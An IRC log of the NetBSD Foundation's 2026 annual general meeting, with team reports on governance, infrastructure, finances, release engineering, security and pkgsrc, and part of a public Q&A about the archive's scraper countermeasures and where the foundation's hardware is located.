Today, the NetBSD Foundation had an open annual general meeting in a public IRC channel. It began with presentations, and was followed by a Q&A session where we took questions from the public. Here's the full log.

14:06:44  * Cryo turns the lights down
14:08:01 @leot Hello everyone!
14:08:01 @Cryo I'll start off by thanking you for coming.
14:08:13 @Cryo and handing it to leot!
14:08:24 @leot Thanks Cryo and thanks for coming!
14:08:29 @leot .
14:08:31 @leot Welcome to The NetBSD Foundation Annual General Meeting 2026!
14:08:36 @leot .
14:08:42 @leot In the agenda we will have reports from:
14:08:45 @leot .
14:08:52 @leot - board (<billc>)
14:08:52 @leot - core (<kre>)
14:08:53 @leot - admins (<spz>)
14:08:53 @leot - finance-exec (<riastradh>)
14:09:03 @leot - membership-exec (<martin>)
14:09:03 @leot - releng (<martin>)
14:09:04 @leot - security-team (<martin>)
14:09:12 @leot - pkgsrc-pmc (<wiz>)
14:09:12 @leot - pkgsrc-security (<tm>)
14:09:14 @leot .
14:09:24 @leot If there are any last-minute additions please /msg me!
14:09:26 @leot .
14:09:32 @leot The Q&A session will be at the end of all the presentations.
14:09:36 @leot .
14:09:44 @leot When Q&A begins please /msg me with "I have question for <team>" or
14:09:44 @leot "I have question for <nick>" and I will give you voice when it is
14:09:44 @leot your turn.
14:09:56 @leot .
14:10:49 @leot Next presentation is prepared by <billc> and board@ for board!
14:12:00 @leot I will present on <billc> behalf
14:12:09 @leot .
14:12:16 @leot Welcome to the 24th Annual General Meeting of The NetBSD Foundation.
14:12:19 @leot .
14:12:25 @leot 2025 progress:
14:12:25 @leot - Recent stable releases include NetBSD 10.1 (Dec 2024), 9.4, and 9.3
14:12:29 @leot - Development is currently focused on the imminent transition to NetBSD-11 [RC4]
14:12:35 @leot .
14:12:43 @leot We are preparing for:
14:12:43 @leot - BSDcan in Ottawa, Canada
14:12:43 @leot - The ISF Common Good Cyber Fund (CGCG) application window, which runs
14:12:43 @leot   from June 23 to August 4, 2026.
14:12:59 @leot .
14:13:08 @leot We recognize that different avenues may well be available to us regarding grants
14:13:08 @leot and funding, and we are looking for volunteers to help us investigate, apply,
14:13:08 @leot and deliver for the programs available. This includes, but is not limited to,
14:13:09 @leot potential opportunities from the Internet Society, the Linux Foundation through
14:13:09 @leot Alpha-Omega, Germany's Sovereign Tech Agency and Prototype Fund, or grants from
14:13:09 @leot the European Union through NLnet.
14:13:32 @leot .
14:13:41 @leot The NetBSD Foundation Board of Directors presents a consolidated list
14:13:42 @leot of the relevant and major actions that occurred since last AGM.
14:13:54 @leot Quite a few discussions, actions, and follow-ups crossed multiple meetings.
14:13:55 @leot Very few meetings resulted in not reaching quorum.
14:14:09 @leot During this period, new director(s) were elected by the members and
14:14:09 @leot officers were renewed or installed.
14:14:20 @leot We continued with our Bronze level sponsorship support of BSDcan,
14:14:20 @leot AsiaBSDcon, and EuroBSDcon to improve our representation at conferences
14:14:20 @leot and developer summits.
14:14:31 @leot .
14:14:41 @leot We participated in the Google Summer of Code for 2025 and we attended
14:14:41 @leot the Google Summer of Code Mentor Summit in Munich, Germany.
14:14:41 @leot We are currently participating in GSoC this year with 5 students!
14:14:51 @leot .
14:14:58 @leot For 2025, these are the projects that passed:
14:14:58 @leot - Asynchronous I/O Framework
14:14:58 @leot - Using bubblewrap to add sandboxing to NetBSD
14:15:02 @leot - Enhancing Support for NAT64 Protocol Translation in NetBSD
14:15:11 @leot .
14:15:18 @leot For 2026, these projects have been chosen:
14:15:24 @leot - Improving and Stabilizing the racoon2 IKE Daemon in NetBSD
14:15:25 @leot - Port the Enlightenment desktop environment to NetBSD
14:15:25 @leot - improving RAIDframe
14:15:36 @leot - Testing Compat Linux: Syscall testing
14:15:38 @leot - Convert a Wi-Fi driver to the new Wi-Fi stack
14:15:39 @leot .
14:15:54 @leot We continued to improve our interaction and relationships with
14:15:54 @leot vendors, as well as participating in industry PSIRT/CSIRT
14:15:55 @leot with commercial vendors and other open-source projects.
14:16:04 @leot .
14:16:18 @leot We successfully completed the large-scale migration of our repository
14:16:18 @leot infrastructure from CVS to a Git/Mercurial ecosystem, including the
14:16:33 @leot launch of live hgweb and gitweb test environments.
14:16:39 @leot .
14:16:56 @leot We also advanced our security and compliance posture by initiating CNA (CVE Numbering
14:17:01 @leot Authority) onboarding with MITRE and ensure readiness for the EU Cyber
14:17:02 @leot Resilience Act (CRA).
14:17:13 @leot .
14:17:20 @leot We also implemented "Anti-Slop" protocols to protect codebase integrity
14:17:20 @leot against code not written by humans.
14:17:25 @leot .
14:17:32 @leot The funded contracts continued for:
14:17:33 @leot - improvements in release engineering
14:17:49 @leot .
14:17:54 @leot We are 12% through a fundraising campaign. *Please* consider
14:17:59 @leot donating, as we are a US IRS 501(c)3 charitable organization.
14:18:15 @leot .
14:18:27 -- Mode #netbsd-agm [+v krelz] by leot
14:18:31 @leot EOF
14:19:09 @leot Next in the agenda we have... core@ presentation by <kre>! krelz, please go ahead!
14:19:36 +krelz Hi everyone, before I begin, any other core members who want to add something
14:20:02 +krelz to what I am about to present, msg leot and I'm sure you can be snuck in when I
14:20:12 +krelz am done, which won't take long...
14:20:14 +krelz .
14:20:25 +krelz Report from core for 2026 NetBSD AGM
14:20:33 +krelz .
14:20:37 +krelz core is tasked with technical management of the NetBSD project.
14:20:41 +krelz .
14:20:45 +krelz The current members of core are:
14:20:50 +krelz .
14:20:55 +krelz         Christos Zoulas         christos@
14:20:55 +krelz         Chuck Silvers           chs@
14:20:55 +krelz         Robert Elz              kre@
14:20:55 +krelz         Martin Husemann         martin@
14:20:55 +krelz         Matthew Green           mrg@
14:20:56 +krelz         Taylor R Campbell       riastradh@
14:20:56 +krelz         Rin Okuyama             rin@
14:20:58 +krelz .
14:21:04 +krelz Actual technical management is difficult in a volunteer project,
14:21:05 +krelz as developers work on whatever interests them.   One aspect
14:21:05 +krelz which is sometimes important is in setting disputes between
14:21:05 +krelz developers.   Fortunately there was only one such dispute in
14:21:05 +krelz the past year, which was easily amicably settled.
14:21:06 +krelz .
14:21:12 +krelz Core doesn't hold regular formal meetings, issues are discussed
14:21:12 +krelz when they arise, otherwise we're mostly fairly dormant.
14:21:13 +krelz .
14:21:19 +krelz core, as a group, can be reached at [email protected]
14:21:20 +krelz .
14:21:40 +krelz That's it for me, for this year's core report, I will be here for questions later
14:21:43 +krelz .
14:21:57 @leot Thank you kre!
14:22:04 -- Mode #netbsd-agm [+v spz] by leot
14:22:16 @spz good localtime() all
14:22:16 @spz ,
14:22:16 @spz admins is the following people:
14:22:17 @spz christos, dogcow, kim, mspo, phil, riastradh, riz, seb, soda, spz, tls
14:22:17 @spz ,
14:22:30 @leot Next in the agenda... we have the admins@ presentation from spz! Please go ahead!
14:22:42 @spz Statistics:
14:22:42 @spz - admins runs the following TNF systems:
14:22:42 @spz @ TastyLime
14:22:43 @spz + 8 hardware systems, 6 'regular' Xen guests and 3 repotest Xen guests
14:22:43 @spz = 1 earmv7hf, the rest amd64
14:22:43 @spz - public services, the repo(s), sundry
14:22:55 @spz @ AOA
14:22:55 @spz + 6 hardware systems
14:22:55 @spz = all amd64
14:22:55 @spz - the NetBSD build farm
14:23:03 @spz @ Washington University
14:23:03 @spz + 7 hardware systems
14:23:03 @spz = 2 aarch64 and the rest amd64
14:23:04 @spz - two pkg builders, the repo conversion and a CI system, sundry
14:23:14 @spz @ Regensburg
14:23:14 @spz + 2 hardware systems, one of them with 2 Xen guests
14:23:14 @spz = all amd64 (+ a sparc64 serving consoles)
14:23:14 @spz - the offsite backup, archive, wip.pkgsrc.org and a CI system
14:23:25 @spz ,
14:23:25 @spz - CDN services donated by Fastly
14:23:25 @spz - Housing donated by TastyLime, Two Sigma, WWU, and spz
14:23:26 @spz ,
14:23:27 -- Mode #netbsd-agm [-v krelz] by leot
14:23:37 @spz NetBSD versions in use:
14:23:37 @spz 6   10.0_STABLE (1 earmv7hf, 1 aarch, 4 amd64)
14:23:37 @spz 6   10.1 (5 amd64)
14:23:37 @spz 13  10.1_STABLE (13 amd64)
14:23:37 @spz 1   11.0_RC3 (amd64)
14:23:38 @spz 2   11.0_RC4 (aarch64, amd64)
14:23:38 @spz ,
14:23:47 @spz Changes:
14:23:47 @spz Riastradh spent even more time on the mail system so we can still send
14:23:47 @spz mail to Google mail accounts.
14:23:48 @spz Also Riastradh has been developping the future reposerver setup.
14:23:48 @spz ,
14:24:01 @spz Notable issues:
14:24:01 @spz - spam suppression by technical means, which makes life hard(er) for
14:24:02 @spz   legitimate mailing lists and hasn't stopped spammers (or phishing) yet.
14:24:20 @spz - LLM scraping. Anti-social "all your resources are belong to us",
14:24:20 @spz   total disregard for robots.txt, and backed by lots of money
14:24:21 @spz   so they can buy all the shady "residential proxies" they want,
14:24:21 @spz   so IP blacklists aren't feasible. Their capacity to scrape
14:24:22 @spz   vastly outnumbers our capacity to serve, they are very aggressive,
14:24:22 @spz   so the chance of a human getting to use the wip.pkgsrc.org website
14:24:23 @spz   is slim. And to add insult to injury they could just download the repo
14:24:23 @spz   instead of diffing every possible version of every file against every
14:24:24 @spz   other version via the web interface:
14:24:24 @spz   the point is they don't want to use resources carefully, because that
14:24:24 @spz   would require thought and LLMs are all about not expending that.
14:24:25 @spz   (if you detect some foaming at the mouth here: yes. aarrrggghhh!)
14:24:28 @spz ,
14:24:59 @spz   We are very sorry but we'll have to add countermeasures like for
14:24:59 @spz   archive.NetBSD.org, if possibly not the same, or shut the
14:25:00 @spz   web interface down like we did with the cvsweb access to wikisrc.
14:25:03 @spz ,
14:25:11 @spz   The other NetBSD web sites survive thanks to having a limited
14:25:11 @spz   number of links (the scrapers only visit each one twice a day),
14:25:12 @spz   and CDN caching.
14:25:29 @spz - hardware aging at TastyLime, both the TNF servers and the network
14:25:29 @spz   equipment. The latter is being dealt with, there will be a downtime
14:25:30 @spz   for sometime soon. The former suffers from requiring half a week time
14:25:30 @spz   on-site and roughly two weeks from off-site to get anything working
14:25:31 @spz   properly again, and the activation energy required to do that is a lot.
14:25:59 @spz - the perennially full /pub/pkgsrc/packages on ftp.NetBSD.org.
14:26:00 @spz   we have a plan, it "just" needs implementing.
14:26:04 @spz ,
14:26:15 @spz We often get asked:
14:26:16 @spz - why don't you use a Cloud provider or rent servers instead:
14:26:24 @spz         + did that with the offsite backup server, the provider ceased
14:26:24 @spz         operations and just shut everything off: our data? sucks to be us.
14:26:25 @spz         If we own the server it might get switched off, but we could get
14:26:25 @spz         it (and thus our data) back
14:26:41 @spz         + but you could have backups: having 50TB in total backed up and
14:26:41 @spz         not paying an arm and a leg for retrieval and making certain the
14:26:42 @spz         backup provider isn't going funny is either expensive or difficult
14:26:55 @spz         + in the long run renting servers is not cheaper if they actually
14:26:56 @spz         are busy all the time
14:27:04 @spz         + we should always consider if this (whatever this) is a good use
14:27:04 @spz         of TNF funds.
14:27:15 @spz - we could sponsor you a server
14:27:15 @spz         Thanks, kind of you to offer. However:
14:27:26 @spz         If it's just one server we couldn't do OS updates. Having IPMI
14:27:27 @spz         on the open Internet for console access is not a good security
14:27:27 @spz         stance. Thus we are at a server and a console server, and having
14:27:28 @spz         a console server and several servers just scales better.
14:27:41 @spz         Plus we'd like to have at least one member of admins in viable
14:27:41 @spz         site visit distance and an expectation of duration: site moves
14:27:42 @spz         aren't much less work than hardware renewals.
14:27:52 @spz ,
14:27:52 @spz Thanks to riz, tls and phil for their resources, time
14:27:52 @spz and blood sacrifices, too. :}
14:27:53 @spz ,
14:27:58 @spz Back to moderator.
14:28:24 @leot Thank you very much spz!
14:28:41 @leot Next in the agenda we have... Riastradh with the finance-exec@ presentation!
14:28:47 -- Mode #netbsd-agm [+v Riastradh] by leot
14:28:52 @Riastradh Hi, folks!
14:28:57 @Riastradh Finance-exec hoards the cash, keeps the books, sends
14:28:58 @Riastradh thank-you notes to donors, and pays out contracts and
14:28:58 @Riastradh reimbursements.
14:28:58 @Riastradh .
14:29:07 -- Mode #netbsd-agm [-v spz] by leot
14:29:18 @Riastradh We are:
14:29:19 @Riastradh - christos (Christos Zoulas)
14:29:19 @Riastradh - reed (Jeremy C Reed)
14:29:19 @Riastradh - riastradh (Taylor R Campbell)
14:29:19 @Riastradh .
14:29:31 @Riastradh The NetBSD Foundation's public 2025 financial report is at:
14:29:31 @Riastradh https://www.NetBSD.org/foundation/reports/financial/2025.html
14:29:31 @Riastradh We produce this from an internal ledger maintained with
14:29:31 @Riastradh ledger(1) <https://www.ledger-cli.org/>.
14:29:31 @Riastradh .
14:29:52 @Riastradh Highlights:
14:29:52 @Riastradh - We have net assets of a little over 400k USD as of today
14:29:52 @Riastradh   (we received a large donation in 2026).
14:29:52 @Riastradh - In 2025, we received about 80k USD -- far surpassing our
14:29:52 @Riastradh   usual donation target of 50k USD!
14:29:54 @Riastradh - We spent 21k USD, mainly on:
14:29:57 @Riastradh   o supporting conferences and sending developers to them
14:29:59 @Riastradh   o release engineering
14:30:02 @Riastradh .
14:30:20 @Riastradh That was a lot more income and a lot less expenses than we
14:30:20 @Riastradh usually have.  But forecasting:
14:30:20 @Riastradh - We expect to purchase some more hardware replacements this
14:30:20 @Riastradh   year, and components like RAM have gotten much more
14:30:20 @Riastradh   expensive recently.
14:30:23 @Riastradh - We have more funds for funded projects now, and while core
14:30:25 @Riastradh   or pkgsrc-pmc directs the funds, they're really driven by
14:30:28 @Riastradh   the developer proposals that are available -- so if you
14:30:30 @Riastradh   want to work on a funded project, send a proposal!
14:30:33 @Riastradh .
14:30:46 @Riastradh Happy to answer any questions about what finance-exec does,
14:30:46 @Riastradh or swap notes on using ledger(1)!
14:30:46 @Riastradh Thanks,
14:30:46 @Riastradh -Riastradh, on behalf of finance-exec
14:31:27 @leot Thanks a lot Riastradh!
14:31:43 @leot Next presentation is from <martin> with the membership-exec@ presentation!
14:31:50 -- Mode #netbsd-agm [+v __martin] by leot
14:31:53 +__martin thanks
14:31:57 +__martin The current members of membership-exec are:
14:31:57 +__martin - Christos Zoulas <christos>
14:31:57 +__martin - Martin Husemann <martin>
14:31:57 +__martin - Lex Wennmacher <wennmach>
14:31:57 +__martin - Thomas Klausner <wiz>, and
14:31:58 +__martin - Ken Hornstein <kenh> who is on sabbatical.
14:32:01 +__martin  -
14:32:05 +__martin Membership-exec is responsible for all aspects of
14:32:05 +__martin "membership", but in practice the main task is to handle
14:32:05 +__martin membership applications. The number of active developers
14:32:05 +__martin (as of 2026-06-06) is 138. Note that this number is a
14:32:05 +__martin bit outdated, as the membership activity validation process
14:32:06 +__martin required for the board election has not yet happened.
14:32:16 +__martin  -
14:32:20 +__martin Since the last AGM on 2025-05-17 we gained only 5 new
14:32:21 +__martin developers, which is (again) way too few. We need to invite
14:32:21 +__martin more people, please help active users and encourage them to
14:32:21 +__martin apply.
14:32:33 +__martin  -
14:32:36 +__martin The difference between developers and active developers
14:32:36 +__martin is explained in the bylaws - an active developer has
14:32:36 +__martin actually committed something in the last year, or contributed
14:32:36 +__martin in an active way, like admins.
14:32:44 +__martin  -
14:32:48 +__martin We'd like to emphasize that we appreciate all your replies
14:32:48 +__martin to our membership RFC e-mails, although we do not usually
14:32:48 +__martin acknowledge them. Please keep on providing feedback to
14:32:48 +__martin the RFC mails.
14:33:07 +__martin thanks, back to moderator
14:33:15 @leot Thank you Martin!
14:33:33 @leot Next presentation... always from Martin but this time with the releng@ hat! :) Please go ahead __martin!
14:33:43 +__martin hi again
14:33:47 +__martin We are:
14:33:47 +__martin abs agc bouyer he jdc martin msaitoh phil reed riz
14:33:47 +__martin sborrill snj
14:33:52 +__martin    -
14:33:55 +__martin Since the last meeting, we have:
14:33:55 +__martin  o Branched netbsd-11.
14:33:55 +__martin  o Not released any formal release (only four release
14:33:55 +__martin    candidates for 11.0).
14:33:55 +__martin  o Processed hundreds of pullup requests.
14:33:56 +__martin  o Streamlined the process of cutting a release.
14:34:01 +__martin    -
14:34:05 +__martin Currently we are about to release the fifth (and
14:34:05 +__martin this time definitvely last) release candidate for 11.0.
14:34:05 +__martin 11.0 has had bad luck with security updates of 3rd party
14:34:05 +__martin components last minute and slow progress on making
14:34:05 +__martin these components updatable on relelase branches
14:34:06 +__martin (like libssh moving to /usr/lib/private/).
14:34:12 +__martin    -
14:34:16 +__martin We have only two issues open for 11.0:
14:34:16 +__martin  (1) the missing unbound import (catch-up to current)
14:34:16 +__martin  (2) a new expat release that has not made it into
14:34:16 +__martin      -current, but fixes a few security issues
14:34:20 +__martin    -
14:34:22 +__martin Volunteers are welcome to help with both - please
14:34:23 +__martin contact me directly if you have some time to help.
14:34:31 +__martin    -
14:34:34 +__martin I hope to cut RC5 later this weekend or early next week,
14:34:34 +__martin and then the final release maybe 10 days later. If one
14:34:34 +__martin of the above items does not make it in, so be it.
14:34:39 +__martin    -
14:34:43 +__martin We have streamlined the process of actually cutting a
14:34:43 +__martin release (or release candidate) and admins made it possible
14:34:43 +__martin to completely stay out of this process now. Only one releng
14:34:43 +__martin member and one security-office member are needed now.
14:34:50 +__martin    -
14:34:54 +__martin A release still takes realistically slightly less than 24h
14:34:54 +__martin wall clock time, the biggest time consumers are all fully
14:34:54 +__martin automated: 4h build time, 6h network transfer to ftp, 1h
14:34:54 +__martin generating hashes. Plus various minor manual things like
14:34:54 +__martin editing the web page and posting the release annoucement.
14:35:06 +__martin    -
14:35:09 +__martin We are still processing a huge amount of pullups.
14:35:09 +__martin This is only possible because developers take the time
14:35:09 +__martin to test their changes on the branch and submit a
14:35:09 +__martin pullup request. We have been pretty good with this,
14:35:09 +__martin and pulled up lots of security and usability
14:35:10 +__martin improvements, as well as bug fixes to the various
14:35:10 +__martin active branches. This is good for our users, thank you
14:35:11 +__martin to everyone who cared and made it possible.
14:35:19 +__martin    -
14:35:24 +__martin The following paragraph is (unfortunately) a verbatim
14:35:24 +__martin copy from last year - and still valid.
14:35:27 +__martin    -
14:35:30 +__martin The biggest current issue is the over-aged netbsd-9 branch.
14:35:30 +__martin We need to get the NetBSD 11 release out ASAP to be
14:35:30 +__martin able to move NetBSD 9.x out of support.
14:35:35 +__martin    -
14:35:40 +__martin After the 11.0 release (and probably the repository switch)
14:35:40 +__martin I plan to start a discussion about rules and processes,
14:35:40 +__martin trying to make the time from branching to first release way
14:35:40 +__martin smaller. A slow release cycle is not that bad overall (IMO)
14:35:40 +__martin but a year long delay between branching and first release
14:35:41 +__martin is clearly wrong.
14:35:45 +__martin    -
14:35:48 +__martin That is all from release engineering for this year, we are
14:35:49 +__martin hoping to have a list of several formal releases in next
14:35:49 +__martin years report and also be close to the final release of
14:35:49 +__martin 12.0.
14:36:31 @leot Thank you Martin!
14:36:50 @leot Next in the agenda we have... Again Martin, but with the security-team@ hat! Feel free to go ahead __martin!
14:36:56 +__martin This is a brief report for security-team.
14:36:57 +__martin  -
14:36:57 +__martin We are: agc billc cherry christos chs cyber hgutch joerg js
14:36:57 +__martin kre martin maya mrg riastradh rin shm spz
14:37:02 +__martin  -
14:37:05 +__martin Since last AGM we have not published any security
14:37:05 +__martin advisories. We have fixed (and pulled up) one issue that
14:37:05 +__martin has an SA pending, but it has not been finalized.
14:37:08 +__martin  -
14:37:13 +__martin There have been numerous bug fixes applied to the tree, and
14:37:14 +__martin pulled up to NetBSD-9, NetBSD-10 and NetBSD-11 release
14:37:14 +__martin branches. We also have updated lots of 3rd party components
14:37:14 +__martin in the tree when they had new releases fixing security
14:37:14 +__martin issues. Right now only the expat library needs an update in
14:37:14 +__martin -current.
14:37:21 +__martin  -
14:37:24 +__martin Most security work goes on "behind the scenes" and we
14:37:24 +__martin usually concur with request of reporters for a specific
14:37:24 +__martin publication date.
14:37:34 +__martin  -
14:37:37 +__martin Where needed we also involve NetBSD developers outside the
14:37:37 +__martin team when special expertise is needed. While we try to
14:37:37 +__martin assess all reported issues timely, we sometimes struggle
14:37:37 +__martin with doing so. Currently we have (if I did not miscount)
14:37:37 +__martin two open reports that need to be addressed.
14:37:43 +__martin  -
14:37:49 +__martin To improve our own process, becoming more reliable and more
14:37:50 +__martin transparent we are currently applying to become a CNA (CVE
14:37:50 +__martin number authority). This will allow us to assign and publish
14:37:50 +__martin our own CVE records. The process forces us to have public
14:37:50 +__martin statements of response times and processes for issues
14:37:50 +__martin reported to us. We might need to introduce a ticket system
14:37:50 +__martin to help with doing timely responses.
14:38:01 +__martin  -
14:38:05 +__martin NetBSD continues to be represented in a product security
14:38:05 +__martin incident response working group with other operating system
14:38:05 +__martin vendors, as well as a direct contact team with other BSD
14:38:05 +__martin projects. This framework allows us to work better with
14:38:05 +__martin vendors requiring an embargoed and/or coordinated release
14:38:06 +__martin with other operating systems. We can begin working on
14:38:06 +__martin issues that affect NetBSD much faster, instead of only
14:38:07 +__martin being notified after an embargo is lifted. We are expanding
14:38:07 +__martin the number of vendors as time goes on, as well as
14:38:08 +__martin participating in FIRST.
14:38:13 +__martin  -
14:38:16 +__martin This is teaching us quite a bit of where we need to
14:38:17 +__martin improve our process, which is currently on-going.
14:38:22 +__martin  -
14:38:24 +__martin Thanks to everyone helping with security issues!
14:38:43 -- Mode #netbsd-agm [-v __martin] by leot
14:38:59 @leot Thank you very much Martin!
14:39:19 @leot Next in the agenda we have... pkgsrc-pmc presentation, written by <wiz>!
14:39:35 @leot Unfortunately <wiz> could not attend the AGM so I will present it
14:39:46 -- Guest52 is now known as VE3QBZ
14:39:50 @leot The pkgsrc team kept thousands of packages in pkgsrc up to date and in
14:39:50 @leot good working order, and delivered four -- the 87th through 90th --
14:39:51 @leot stable branches. Great work, and thank you to bsiegert@ and maya@ for
14:39:51 @leot handling the branches!
14:40:02 @leot .
14:40:08 @leot The pkgsrc team has welcomed one new developer, kikadf, who takes good
14:40:09 @leot care of chromium and wayland.
14:40:15 @leot .
14:40:24 @leot The current roster is:
14:40:24 @leot - agc (emeritus member)
14:40:24 @leot - dholland (board representative)
14:40:24 @leot - schmonz
14:40:24 @leot - wiz
14:40:32 @leot .
14:40:37 @leot Thank you for working on pkgsrc!!
14:40:37 @leot -- wiz, for pkgsrc-pmc
14:40:54 @leot Thanks!
14:41:54 @leot Next in the agenda... we have pkgsrc-security@ presentation, prepared by <tm>!
14:42:18 @leot He's only online via a mobile, so I will present it!
14:42:29 @leot The mission of the pkgsrc Security Team is to ensure that the ever-growing
14:42:29 @leot ecosystem of third party software is either safe to use or at least be sure
14:42:29 @leot people are aware of the known vulnerabilities.
14:42:29 @leot         -
14:42:43 @leot Our members monitor publicly available vulnerability feeds, mainly CVE.
14:42:43 @leot         -
14:42:50 @leot We aggregate received advisories believed to impact pkgsrc into the pkgsrc
14:42:51 @leot vulnerability list. When time allows we try to notify individual package
14:42:51 @leot MAINTAINERs and locate, commit patches to fix the vulnerabilities.
14:42:51 @leot         -
14:43:13 @leot Since 2021 our ticket handling crew is currently only 2 people, unfortunately
14:43:13 @leot pretty understaffed. We are looking and welcome people volunteering to join
14:43:13 @leot us!
14:43:13 @leot         -
14:43:26 @leot Currently handling tickets are:
14:43:26 @leot  - Leonardo Taccari <leot>
14:43:26 @leot  - Thomas Merkel <tm>
14:43:26 @leot         -
14:43:38 @leot The other current members of the team are:
14:43:38 @leot  - Thomas Klausner <wiz>
14:43:38 @leot  - Tobias Nygren <tnn>
14:43:38 @leot  - Tim Zingelman <tez>
14:43:38 @leot         -
14:43:47 @leot The year in numbers:
14:43:56 @leot In 2024, the vulnerability list had 9482 lines added to it (8967 more than last
14:43:56 @leot year) for a total of 30231 known vulnerabilities.
14:44:06 @leot In 2025, the ticket queue received 50050 new advisories (9330 more than last
14:44:06 @leot year). Of these 50050 new advisories:
14:44:16 @leot  new:        302 ( 0.6%) (not able to handle in 2025)
14:44:16 @leot  stalled:      0 ( 0.0%)
14:44:16 @leot  resolved:  1697 ( 3.4%) (affecting pkgsrc packages)
14:44:16 @leot  rejected: 48051 (96.0%) (no impact or duplicates)
14:44:16 @leot         -
14:44:30 @leot Zafer Aydogan <zafer> also joined pkgsrc-security rotation list for several
14:44:30 @leot months in 2025 and helped us. Thanks Zafer!
14:44:30 @leot         -
14:44:47 @leot The current count of vulnerable packages in pkgsrc-current is 787 (138 more
14:44:48 @leot than last year), in pkgsrc-stable is 809 (144 more than last year).
14:44:48 @leot See the periodic email to [email protected] for the list.
14:44:57 @leot But we've 3548 vulnerabilities to review!
14:45:04 @leot We can always use help locating and committing security patches, in particular
14:45:04 @leot for the many of these that are maintained by pkgsrc-users.
14:45:05 @leot         -
14:45:30 @leot We encourage all developers to help us keep the vulnerability list up-to-date.
14:45:30 @leot If you become aware of a security issue or perform a security update in pkgsrc
14:45:31 @leot please edit the list. You don't need any special privilege for this.
14:45:31 @leot You'll find the list in pkgsrc CVS repository:
14:45:31 @leot  pkgsrc/doc/pkg-vulnerabilities
14:45:31 @leot         -
14:45:48 @leot Please join the pkgsrc Security ticket handling crew, we're pretty understaffed
14:45:48 @leot at the moment! Feel free to get in touch with us for additional details or an
14:45:49 @leot introduction.
14:45:49 @leot         -
14:45:57 @leot EOF
14:46:08 @leot Thank you very much <tm>!
14:46:37 @leot We have another presentation that was not in the agenda!
14:48:09 @leot There is a gnats@ presentation by <dholland>!
14:48:16 -- Mode #netbsd-agm [+v nbdholland] by leot
14:48:26 @leot Feel free to go ahead David!
14:48:38 +nbdholland (This got held up by a schmozzle yesterday. Thanks to riastradh@ for running my dodgy scripts for me.)
14:48:40 +nbdholland  
14:48:42 +nbdholland Here's the bug database report since the last AGM (12 months):
14:48:43 +nbdholland  
14:48:50 +nbdholland GNATS statistics for 2025 (as of June  6 2026)
14:48:51 +nbdholland  
14:48:58 +nbdholland New PRs this year: 880, of which 578 are still open.
14:48:58 +nbdholland Closed PRs this year: 445. Net change: +435. 
14:48:58 +nbdholland Total PRs touched this year: 946.
14:48:58 +nbdholland Oldest PR touched this year: 5514.
14:48:58 +nbdholland Oldest open PR: 1677; PR ignored for the longest: 4691.
14:49:01 +nbdholland  
14:49:06 +nbdholland Total number open: 7313
14:49:07 +nbdholland  
14:49:13 +nbdholland (Recall that this isn't github: in NetBSD "PR" means "problem report",
14:49:13 +nbdholland not "pull request".)
14:49:14 +nbdholland  
14:49:27 +nbdholland This is the weekly plot:
14:49:27 +nbdholland  
14:49:27 +nbdholland                                                        * 6900
14:49:27 +nbdholland                                                   ******
14:49:27 +nbdholland                                               **********
14:49:27 +nbdholland                                             ************
14:49:27 +nbdholland                                       ******************
14:49:28 +nbdholland                                   **********************
14:49:28 +nbdholland                 ******** *******************************
14:49:29 +nbdholland              *******************************************
14:49:29 +nbdholland       **************************************************
14:49:30 +nbdholland    ***************************************************** 6360
14:49:30 +nbdholland  
14:49:31 +nbdholland If anyone was wondering, the oldest open PR (PR 1677) is about a
14:49:31 +nbdholland panic in unionfs. This is unfortunately still current. The most
14:49:32 +nbdholland untouched PR (PR 4691) is about ECC memory handling on sun3.
14:49:32 +nbdholland  
14:49:47 +nbdholland Unfortunately, we seem to have reverted to our old pattern of an ever-increasing backlog.
14:49:49 +nbdholland  
14:49:57 +nbdholland Anyhow, here are the people who've been fixing the most bugs, as
14:49:57 +nbdholland counted by commit messages found in PRs closed during the year.
14:49:57 +nbdholland  
14:49:57 +nbdholland   10  [email protected]
14:49:57 +nbdholland   14  [email protected]
14:49:58 +nbdholland   15  [email protected]
14:49:58 +nbdholland   18  [email protected]
14:49:59 +nbdholland   23  [email protected]
14:49:59 +nbdholland   27  [email protected]
14:50:00 +nbdholland   29  [email protected]
14:50:00 +nbdholland   50  [email protected]
14:50:01 +nbdholland   53  [email protected]
14:50:01 +nbdholland  105  [email protected]
14:50:02 +nbdholland  
14:50:09 +nbdholland This list always has a very long tail, and the difference between
14:50:09 +nbdholland being on it and not is only one commit. This year there were 55 people
14:50:09 +nbdholland who fixed or helped fix at least one bug report, down a bit from last
14:50:09 +nbdholland year. Thanks to one and all.
14:50:13 +nbdholland  
14:50:27 +nbdholland And here are those who've been processing pullups for bugs, according
14:50:27 +nbdholland to the same analysis:
14:50:27 +nbdholland  
14:50:27 +nbdholland    1  [email protected] (releng)
14:50:27 +nbdholland    2  [email protected] (releng)
14:50:28 +nbdholland    2  [email protected] (releng)
14:50:28 +nbdholland    4  [email protected] (releng)
14:50:29 +nbdholland   16  [email protected] (releng)
14:50:29 +nbdholland  127  [email protected] (releng)
14:50:30 +nbdholland  
14:50:35 +nbdholland Note that this reflects pullups specifically linked into gnats, not
14:50:35 +nbdholland all releng work. Nonetheless, it remains heavily skewed. Many, many,
14:50:36 +nbdholland many thanks, Martin.
14:50:37 +nbdholland  
14:50:39 +nbdholland <eot>
14:50:59 @leot Thank you very much nbdholland!
14:51:13 -- Mode #netbsd-agm [-v nbdholland] by leot
14:51:27 @leot Now we can start the Q&A session.
14:51:45 @leot I have at least 2 questions already in the queue
14:52:15 @leot If you have more questions, feel free to /msg me with possible <team> / <nick> that may answer the question and I will voice you when it's your turn
14:52:43 -- Mode #netbsd-agm [+v racoon] by leot
14:52:54 @leot racoon has some questions for admins@! racoon, feel free to go ahead!
14:53:00 +racoon hello netbsd, hello admins
14:53:08 @leot (admins@ feel free to /msg me if you can answer their questions!)
14:53:50 +racoon my first question is whether it's possible to whitelist netbsd ftp(1) so that it doesn't need to pass a challenge to download files from archive.netbsd.org. my own experience of AI scrapers would say that's an unusual user agent to scrape, but i don't know how heinous they are. i'd like to do e.g. automated fetches of old distfiles
14:54:04 +racoon *unusual user agent to fake
14:54:37 @Riastradh racoon: the captcha in there is a temporary workaround, we might deploy anubis or something in the near future
14:54:52 @spz if ftp has a recognisable user agent that might actually a great idea
14:54:59 +racoon my second question is whether it's possible that more hardware might be moved to e.g. germany, japan in the future, so that we're less centralized in the US
14:55:24 @Riastradh racoon: Some of the hardware is in Germany already!
14:56:21 @spz it's easier for TNF to buy stuff in the US, typically cheaper too. We'll have to think about it.
